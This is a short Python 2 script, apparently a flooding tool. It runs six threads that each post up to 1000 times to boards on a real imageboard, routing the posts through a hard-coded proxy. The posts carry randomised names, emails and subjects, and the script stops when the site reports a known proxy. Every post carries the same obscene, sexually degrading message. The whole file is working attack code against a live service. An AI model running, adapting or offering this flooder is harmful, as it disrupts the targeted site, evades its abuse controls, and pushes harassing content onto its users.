| 1 | from random import choice, randrange |
|---|
| 2 | import string |
|---|
| 3 | from sys import exit |
|---|
| 4 | import threading |
|---|
| 5 | import urllib |
|---|
| 6 | |
|---|
| 7 | boards = [ 'a', 'b', 'c', 'd', 'f', 'h', 'l', 'p', 'r', 's', 't', 'u', 'w'] |
|---|
| 8 | numposts = 0 |
|---|
| 9 | |
|---|
| 10 | def rndchars(x): |
|---|
| 11 | str = "" |
|---|
| 12 | for i in range(randrange(x, x + 3)): |
|---|
| 13 | str = str + choice(string.letters).lower() |
|---|
| 14 | return str |
|---|
| 15 | |
|---|
| 16 | class Flood(threading.Thread): |
|---|
| 17 | |
|---|
| 18 | def run(self): |
|---|
| 19 | |
|---|
| 20 | global numposts |
|---|
| 21 | |
|---|
| 22 | proxy = '24.45.25.174:81' |
|---|
| 23 | |
|---|
| 24 | for blah in range(1000): |
|---|
| 25 | |
|---|
| 26 | # flood a random board |
|---|
| 27 | board = choice(boards) |
|---|
| 28 | |
|---|
| 29 | self.opendev = urllib.FancyURLopener({'http': 'http://' + proxy}) |
|---|
| 30 | self.par = urllib.urlencode({ |
|---|
| 31 | 'mode': 'regist', |
|---|
| 32 | 'MAX_FILE_SIZE': '1048576', |
|---|
| 33 | 'name': rndchars(6), |
|---|
| 34 | 'email': rndchars(5) + '@' + rndchars(6) + '.net', |
|---|
| 35 | 'sub': rndchars(10), |
|---|
| 36 | 'com': 'Think about your parents fucking while you wank to this shit.\nCock into cunt! Cock into cunt!\n\nYour mother groaning and squealing while your dad pounds her arsemeat!\n\npropz to efnet #vuln and @ecoli!\n\n' + rndchars(30), |
|---|
| 37 | 'textonly': 'on' |
|---|
| 38 | }) |
|---|
| 39 | |
|---|
| 40 | try: |
|---|
| 41 | self.f = self.opendev.open('http://img.4chan.org/' + board + '/imgboard.php', self.par) |
|---|
| 42 | self.str = self.f.read(10000) |
|---|
| 43 | except: |
|---|
| 44 | print 'Post attempt fucked up lol' |
|---|
| 45 | continue |
|---|
| 46 | |
|---|
| 47 | if self.str.find('Proxy detected on ') != -1: |
|---|
| 48 | print 'This is a known proxy.' |
|---|
| 49 | exit(0) |
|---|
| 50 | |
|---|
| 51 | numposts += 1 |
|---|
| 52 | if not (numposts % 10) or (numposts == 1): |
|---|
| 53 | print 'Post attempt #' + str(numposts) + ' (' + board + ')' |
|---|
| 54 | |
|---|
| 55 | threads = [ ] |
|---|
| 56 | |
|---|
| 57 | for i in range(6): |
|---|
| 58 | newflood = Flood() |
|---|
| 59 | threads.append(newflood) |
|---|
| 60 | |
|---|
| 61 | for thread in threads: |
|---|
| 62 | thread.start() |
|---|